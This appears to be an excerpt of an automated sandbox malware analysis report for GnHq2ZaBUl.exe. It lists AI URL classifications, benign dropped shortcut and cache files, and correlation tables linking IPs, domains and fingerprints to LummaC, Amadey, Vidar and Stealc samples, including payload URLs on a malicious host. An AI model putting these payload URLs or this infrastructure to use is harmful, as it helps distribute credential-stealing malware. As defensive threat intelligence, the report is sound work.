Time	Type	Description
03:07:33	API Interceptor	47x Sleep call for process: GnHq2ZaBUl.exe modified

LLM Input / Output

Input	Output
URL: https://microsoft.com Model: Joe Sandbox AI	{ "typosquatting": false, "unusual_query_string": false, "suspicious_tld": false, "ip_in_url": false, "long_subdomain": false, "malicious_keywords": false, "encoded_characters": false, "redirection": false, "contains_email_address": false, "known_domain": true, "brand_spoofing_attempt": false, "third_party_hosting": false }
URL: https://microsoft.com
URL: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=GnHq2ZaBUl.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0 Model: Joe Sandbox AI	{ "contains_trigger_text": true, "trigger_text": "This application could not be started", "prominent_button_name": "Yes", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false, "contains_fake_security_alerts": false }

URL: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=GnHq2ZaBUl.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0 Model: Joe Sandbox AI	{ "contains_trigger_text": true, "trigger_text": "This application could not be started", "prominent_button_name": "unknown", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false, "contains_fake_security_alerts": false }

URL: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=GnHq2ZaBUl.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0 Model: Joe Sandbox AI	{ "contains_trigger_text": true, "trigger_text": "This application could not be started", "prominent_button_name": "unknown", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false, "contains_fake_security_alerts": false }

URL: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=GnHq2ZaBUl.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0 Model: Joe Sandbox AI	{ "brands": [ "Microsoft" ] }
	{ "brands": [ "Microsoft" ] }
URL: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=GnHq2ZaBUl.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0 Model: Joe Sandbox AI	{ "brands": [ "Microsoft" ] }
	{ "brands": [ "Microsoft" ] }
URL: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=GnHq2ZaBUl.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0 Model: Joe Sandbox AI	{ "brands": [ "Microsoft" ] }
	{ "brands": [ "Microsoft" ] }

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
239.255.255.250	CAo57G5Cio.exe	Get hash	malicious	LummaC	Browse
	ZvHSpovhDw.exe	Get hash	malicious	LummaC	Browse
	DRWgoZo325.exe	Get hash	malicious	LummaC, Amadey, AsyncRAT, LummaC Stealer, Stealc, Vidar	Browse
	7jKx8dPOEs.exe	Get hash	malicious	LummaC	Browse
	aD7D9fkpII.exe	Get hash	malicious	Vidar	Browse
	http://www.finanzamthessen.de	Get hash	malicious	Unknown	Browse
	installer.bat	Get hash	malicious	Vidar	Browse
	skript.bat	Get hash	malicious	Vidar	Browse
	din.exe	Get hash	malicious	Vidar	Browse
	yoda.exe	Get hash	malicious	Vidar	Browse
185.215.113.16	vVJvxAfBDM.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	185.215.113.16/mine/random.exe
	LIWYEYWSOj.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	185.215.113.16/off/def.exe
	CAo57G5Cio.exe	Get hash	malicious	LummaC	Browse	185.215.113.16/off/def.exe
	ZvHSpovhDw.exe	Get hash	malicious	LummaC	Browse	185.215.113.16/off/def.exe
	8WRONDszv4.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, PureLog Stealer, Stealc, zgRAT	Browse	185.215.113.16/steam/random.exe
	Idau8QuYa3.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	185.215.113.16/mine/random.exe
	7jKx8dPOEs.exe	Get hash	malicious	LummaC	Browse	185.215.113.16/off/def.exe
	oTZfvSwHTq.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	185.215.113.16/mine/random.exe
	0zBsv1tnt4.exe	Get hash	malicious	LummaC	Browse	185.215.113.16/off/def.exe
	pVbAZEFIpI.exe	Get hash	malicious	LummaC	Browse	185.215.113.16/off/def.exe

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
mindhandru.buzz	vVJvxAfBDM.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	104.21.11.101
	LIWYEYWSOj.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	172.67.165.185
	onaUtwpiyq.exe	Get hash	malicious	LummaC	Browse	104.21.11.101
	CAo57G5Cio.exe	Get hash	malicious	LummaC	Browse	172.67.165.185
	fer4JIJGeL.exe	Get hash	malicious	LummaC	Browse	172.67.165.185
	AaEBZ7icLd.exe	Get hash	malicious	LummaC	Browse	172.67.165.185
	wJtkC63Spw.exe	Get hash	malicious	LummaC	Browse	172.67.165.185
	cFLK1CiiNK.exe	Get hash	malicious	LummaC	Browse	172.67.165.185
	ZvHSpovhDw.exe	Get hash	malicious	LummaC	Browse	104.21.11.101
	8WRONDszv4.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, PureLog Stealer, Stealc, zgRAT	Browse	104.21.11.101
s-part-0035.t-0009.t-msedge.net	EwhnoHx0n5.exe	Get hash	malicious	Unknown	Browse	13.107.246.63
	onaUtwpiyq.exe	Get hash	malicious	LummaC	Browse	13.107.246.63
	CAo57G5Cio.exe	Get hash	malicious	LummaC	Browse	13.107.246.63
	wJtkC63Spw.exe	Get hash	malicious	LummaC	Browse	13.107.246.63
	qZA8AyGxiA.exe	Get hash	malicious	Unknown	Browse	13.107.246.63
	ZvHSpovhDw.exe	Get hash	malicious	LummaC	Browse	13.107.246.63
	60Zxcx88Uv.exe	Get hash	malicious	Unknown	Browse	13.107.246.63
	7jKx8dPOEs.exe	Get hash	malicious	LummaC	Browse	13.107.246.63
	1fi2LiofgW.exe	Get hash	malicious	Unknown	Browse	13.107.246.63
	zi042476Iv.exe	Get hash	malicious	LummaC	Browse	13.107.246.63

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
WHOLESALECONNECTIONSNL	vVJvxAfBDM.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	185.215.113.16
	LIWYEYWSOj.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	185.215.113.16
	CAo57G5Cio.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	ZvHSpovhDw.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	8WRONDszv4.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, PureLog Stealer, Stealc, zgRAT	Browse	185.215.113.16
	DRWgoZo325.exe	Get hash	malicious	LummaC, Amadey, AsyncRAT, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.206
	Idau8QuYa3.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	185.215.113.16
	7jKx8dPOEs.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	oTZfvSwHTq.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	185.215.113.16
	0zBsv1tnt4.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
CLOUDFLARENETUS	vVJvxAfBDM.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	104.21.11.101
	LIWYEYWSOj.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	172.67.165.185
	K9esyY0r4G.lnk	Get hash	malicious	Unknown	Browse	104.21.67.124
	onaUtwpiyq.exe	Get hash	malicious	LummaC	Browse	104.21.11.101
	CAo57G5Cio.exe	Get hash	malicious	LummaC	Browse	172.67.165.185
	fer4JIJGeL.exe	Get hash	malicious	LummaC	Browse	172.67.165.185
	AaEBZ7icLd.exe	Get hash	malicious	LummaC	Browse	172.67.165.185
	wJtkC63Spw.exe	Get hash	malicious	LummaC	Browse	172.67.165.185
	cFLK1CiiNK.exe	Get hash	malicious	LummaC	Browse	172.67.165.185
	ZvHSpovhDw.exe	Get hash	malicious	LummaC	Browse	104.21.11.101

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
1138de370e523e824bbca92d049a3777	ZvHSpovhDw.exe	Get hash	malicious	LummaC	Browse	23.1.237.91
	7jKx8dPOEs.exe	Get hash	malicious	LummaC	Browse	23.1.237.91
	aD7D9fkpII.exe	Get hash	malicious	Vidar	Browse	23.1.237.91
	lem.exe	Get hash	malicious	Vidar	Browse	23.1.237.91
	0zBsv1tnt4.exe	Get hash	malicious	LummaC	Browse	23.1.237.91
	pVbAZEFIpI.exe	Get hash	malicious	LummaC	Browse	23.1.237.91
	z3IxCpcpg4.exe	Get hash	malicious	LummaC	Browse	23.1.237.91
	COBYmpzi7q.exe	Get hash	malicious	LummaC	Browse	23.1.237.91
	HVlonDQpuI.exe	Get hash	malicious	Vidar	Browse	23.1.237.91
	iUKUR1nUyD.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	23.1.237.91
a0e9f5d64349fb13191bc781f81f42e1	vVJvxAfBDM.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	104.21.11.101
	LIWYEYWSOj.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	104.21.11.101
	onaUtwpiyq.exe	Get hash	malicious	LummaC	Browse	104.21.11.101
	CAo57G5Cio.exe	Get hash	malicious	LummaC	Browse	104.21.11.101
	fer4JIJGeL.exe	Get hash	malicious	LummaC	Browse	104.21.11.101
	AaEBZ7icLd.exe	Get hash	malicious	LummaC	Browse	104.21.11.101
	wJtkC63Spw.exe	Get hash	malicious	LummaC	Browse	104.21.11.101
	cFLK1CiiNK.exe	Get hash	malicious	LummaC	Browse	104.21.11.101
	ZvHSpovhDw.exe	Get hash	malicious	LummaC	Browse	104.21.11.101
	8WRONDszv4.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, PureLog Stealer, Stealc, zgRAT	Browse	104.21.11.101

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Fri Dec 27 07:08:07 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2677
Entropy (8bit):	3.9710359109708526
Encrypted:	false
SSDEEP:	48:8LdPTn/cH5idAKZdA19ehwiZUklqehHy+3:89beoy
MD5:	B22AD56D1AD8056BDEE19727F633C4E0
SHA1:	0DC0E6A938B7FA9FBFD13D42959A91CDD059FFAB
SHA-256:	B56CBD0F43BE731ED5199339266D6D3DB1F31F945A56C742E74271B2B3D4E53B
SHA-512:	3A0F039DFF06379B202F3C77C8B2CFCD338D2C35E9F78BF5521716266A4E62977F1D159CD3E1095658B71FEECD192E2FED324E590429E629636BDF141E361D0F
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,....u.mv6X..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.I.Y.A....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.Y.A....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V.Y.A....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V.Y.A..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V.Y.A...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........Y. ......C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Fri Dec 27 07:08:07 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2679
Entropy (8bit):	3.989959648954498
Encrypted:	false
SSDEEP:	48:8ZdPTn/cH5idAKZdA1weh/iZUkAQkqehYy+2:8bb89QBy
MD5:	20AAF78EB1B4132EB45954B14C810756
SHA1:	AD1C4D15F3FC7E9E98B28048A39ED58B5E77BF8E
SHA-256:	9E7A71CBB07077E36275F6808CC7E4728C941A61905B44D96105F4B7A20D94F3
SHA-512:	E0B1ECA3E38FC12DFDC08D924A66D9B7642659FEAF4F146D2E3542513CCA2FB2AD90E39E735F7670211E800DF311AD5A88005CDA5013B4FCCD9533BF9FBE8E07
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,....(.[v6X..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.I.Y.A....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.Y.A....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V.Y.A....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V.Y.A..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V.Y.A...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........Y. ......C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Wed Oct 4 12:54:07 2023, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2693
Entropy (8bit):	4.0011498300812
Encrypted:	false
SSDEEP:	48:8xgdPTn/sH5idAKZdA14tseh7sFiZUkmgqeh7sqy+BX:8x8bEn0y
MD5:	D69AB0DADF64A5102E05007FF4BD2D41
SHA1:	D968EDE7D80680EB7ED36264B2A1267609B0DBBD
SHA-256:	C17D99437C2BA7BE7A7183F787CB3894B9412DD458C5DF88DBB4858F3F7DFFF1
SHA-512:	A43CB72DD24F76F8E506257F1C9C0B76C242DA1D0BE89E2943A1EC4BA9EE0136A07677F09E1DB54F4E82D0CE088A93D72E176CC2ACC07ADBCFD4BD8A7CC1C126
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,......e>....N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.I.Y.A....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.Y.A....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V.Y.A....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V.Y.A..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VDW.n...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........Y. ......C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Fri Dec 27 07:08:07 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2681
Entropy (8bit):	3.9860406672747044
Encrypted:	false
SSDEEP:	48:8vdPTn/cH5idAKZdA1vehDiZUkwqeh8y+R:8xbHyy
MD5:	B2DAAC7A364902671ECC6C624111815D
SHA1:	31ADB928888AB70D074DF8736A85E8E51D81A478
SHA-256:	8C6791222B687537E94F594141D66F88C9D34B2B2576BAF94C42AFA8B7DC1C80
SHA-512:	D5FCA2CD98AA050E3C624F6260BE3675DAD7626ACC15A115CA1CD0E34F60F52E4DD14CEA13358A7FB36654C3AC06FA794F2BB097903775023AC7F83F7E0D0E58
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,.....LSv6X..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.I.Y.A....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.Y.A....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V.Y.A....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V.Y.A..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V.Y.A...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........Y. ......C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Fri Dec 27 07:08:07 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2681
Entropy (8bit):	3.9768201856437924
Encrypted:	false
SSDEEP:	48:8vdPTn/cH5idAKZdA1hehBiZUk1W1qehWy+C:8xb392y
MD5:	907AFCA2A562CE2218CE9ABF9500CDE1
SHA1:	5F111B6A73B0D3D0EBAD8610BB161A48DD11C230
SHA-256:	B21E833DDC4EF5BD0E7C13EF4EC9D822AA30BDEF544FB8A0FF83D371AA9EB0DE
SHA-512:	DB5EE3FEE350C5F0CFC12962FC7C85DE24133AF44F0777CAF4CFD39FA819A3E3373014DCE189B260CD0353DD5072552D827C22400D4607B8854338E60245FF9A
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,....#.dv6X..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.I.Y.A....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.Y.A....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V.Y.A....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V.Y.A..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V.Y.A...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........Y. ......C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Fri Dec 27 07:08:07 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2683
Entropy (8bit):	3.98477736631841
Encrypted:	false
SSDEEP:	48:8gdPTn/cH5idAKZdA1duT+ehOuTbbiZUk5OjqehOuTb0y+yT+:88b/T/TbxWOvTb0y7T
MD5:	7118E5D068668FB557E9F2896B482897
SHA1:	050F1E316A3C79A62C59225FA624C711F7046472
SHA-256:	07AFAA89B79165644DCF1DC7C94BE738BC610A1DD6EB632B5C777B30664AC4FE
SHA-512:	9DC46650CEFC4DA93C12D251AE7A01213F66FA9BB52C3DF35E0E2208A926E58DE01F224F307E747CBE2040108A9730E57B77487F4AE735988F19A7D50082C248
Malicious:	false
Preview:	L..................F.@.. ...$+.,....P.Ev6X..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.I.Y.A....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.Y.A....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V.Y.A....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V.Y.A..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V.Y.A...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........Y. ......C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

Chrome Cache Entry: 100

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65536), with no line terminators
Category:	downloaded
Size (bytes):	464328
Entropy (8bit):	5.0747157240281755
Encrypted:	false
SSDEEP:	6144:XegPrbKCerH5dyUJ6Yh6BFPDxZYX04GK7M4:1KCerXyUh
MD5:	875E7F3672FEC41DDB5A2386D2331531
SHA1:	282979933E99BDE3A6342DC1EF93FBC51682F2C3
SHA-256:	F205B3CBA340ECB0B5D45E5DE6D385947CC4C21248707A90BFD5894E9B61F3C9
SHA-512:	67A3C1D8FF089E01C20962D96968DE43F3E8D49B474C396F08827EE891C0315693634E663D3148D7441B501EA6939A7D84A80B1E855B7C2A8BCB17E0013AFAD4
Malicious:	false
URL:	https://learn.microsoft.com/static/assets/0.4.029026183/styles/site-ltr.css
Preview:	.CodeMirror{height:300px;color:#000;direction:ltr;font-family:monospace}.CodeMirror-lines{padding:4px 0}.CodeMirror pre.CodeMirror-line,.CodeMirror pre.CodeMirror-line-like{padding:0 4px}.CodeMirror-scrollbar-filler,.CodeMirror-gutter-filler{background-color:#fff}.CodeMirror-gutters{white-space:nowrap;background-color:#f7f7f7;border-right:1px solid #ddd}.CodeMirror-linenumber{min-width:20px;text-align:right;color:#999;white-space:nowrap;padding:0 3px 0 5px}.CodeMirror-guttermarker{color:#000}.CodeMirror-guttermarker-subtle{color:#999}.CodeMirror-cursor{width:0;border-left:1px solid #000;border-right:none}.CodeMirror div.CodeMirror-secondarycursor{border-left:1px solid silver}.cm-fat-cursor .CodeMirror-cursor{width:auto;background:#7e7;border:0!important}.cm-fat-cursor div.CodeMirror-cursors{z-index:1}.cm-fat-cursor .CodeMirror-line::selection,.cm-fat-cursor .CodeMirror-line>span::selection,.cm-fat-cursor .CodeMirror-line>span>span::selection{background:0 0}.cm-fat-cursor{caret-color:#0

Chrome Cache Entry: 101

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (52717), with no line terminators
Category:	dropped
Size (bytes):	52717
Entropy (8bit):	5.462668685745912
Encrypted:	false
SSDEEP:	1536:tjspYRrxlhd0fq3agV3IcgPPPI3r7DAQHCloIB3Tj7xHw:tjZLCtxQ
MD5:	413FCC759CC19821B61B6941808B29B5
SHA1:	1AD23B8A202043539C20681B1B3E9F3BC5D55133
SHA-256:	DAF7759FEDD9AF6C4D7E374B0D056547AE7CB245EC24A1C4ACF02932F30DC536
SHA-512:	E9BF8A74FEF494990AAFD15A0F21E0398DC28B4939C8F9F8AA1F3FFBD18056C8D1AB282B081F5C56F0928C48E30E768F7E347929304B55547F9CA8C1AABD80B8
Malicious:	false
Preview:	var WcpConsent;!function(){var e={229:function(e){window,e.exports=function(e){var t={};function o(n){if(t[n])return t[n].exports;var r=t[n]={i:n,l:!1,exports:{}};return e[n].call(r.exports,r,r.exports,o),r.l=!0,r.exports}return o.m=e,o.c=t,o.d=function(e,t,n){o.o(e,t)\|\|Object.defineProperty(e,t,{enumerable:!0,get:n})},o.r=function(e){"undefined"!=typeof Symbol&&Symbol.toStringTag&&Object.defineProperty(e,Symbol.toStringTag,{value:"Module"}),Object.defineProperty(e,"__esModule",{value:!0})},o.t=function(e,t){if(1&t&&(e=o(e)),8&t)return e;if(4&t&&"object"==typeof e&&e&&e.__esModule)return e;var n=Object.create(null);if(o.r(n),Object.defineProperty(n,"default",{enumerable:!0,value:e}),2&t&&"string"!=typeof e)for(var r in e)o.d(n,r,function(t){return e[t]}.bind(null,r));return n},o.n=function(e){var t=e&&e.__esModule?function(){return e.default}:function(){return e};return o.d(t,"a",t),t},o.o=function(e,t){return Object.prototype.hasOwnProperty.call(e,t)},o.p="",o(o.s=3)}([function(e,t,o)

Chrome Cache Entry: 102

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (52717), with no line terminators
Category:	downloaded
Size (bytes):	52717
Entropy (8bit):	5.462668685745912
Encrypted:	false
SSDEEP:	1536:tjspYRrxlhd0fq3agV3IcgPPPI3r7DAQHCloIB3Tj7xHw:tjZLCtxQ
MD5:	413FCC759CC19821B61B6941808B29B5
SHA1:	1AD23B8A202043539C20681B1B3E9F3BC5D55133
SHA-256:	DAF7759FEDD9AF6C4D7E374B0D056547AE7CB245EC24A1C4ACF02932F30DC536
SHA-512:	E9BF8A74FEF494990AAFD15A0F21E0398DC28B4939C8F9F8AA1F3FFBD18056C8D1AB282B081F5C56F0928C48E30E768F7E347929304B55547F9CA8C1AABD80B8
Malicious:	false
URL:	https://wcpstatic.microsoft.com/mscc/lib/v2/wcp-consent.js
